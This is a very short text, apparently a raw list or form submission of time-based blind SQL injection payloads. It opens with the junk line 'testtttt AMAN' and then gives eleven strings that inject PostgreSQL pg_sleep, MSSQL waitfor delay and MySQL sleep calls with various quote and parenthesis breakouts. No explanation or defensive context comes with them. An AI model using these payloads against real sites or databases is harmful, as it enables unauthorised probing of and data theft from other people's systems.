testtttt AMAN
',0)AND pg_sleep(20)--
')AND pg_sleep(20)--
',''||pg_sleep(20)--
' AND pg_sleep(20)--
'||pg_sleep(20)--
',0)waitfor delay'0:0:20'--
')waitfor delay'0:0:20'--
' waitfor delay'0:0:20'--
,(select*from(select(sleep(20)))a)
' and (select*from(select(sleep(20)))a)--
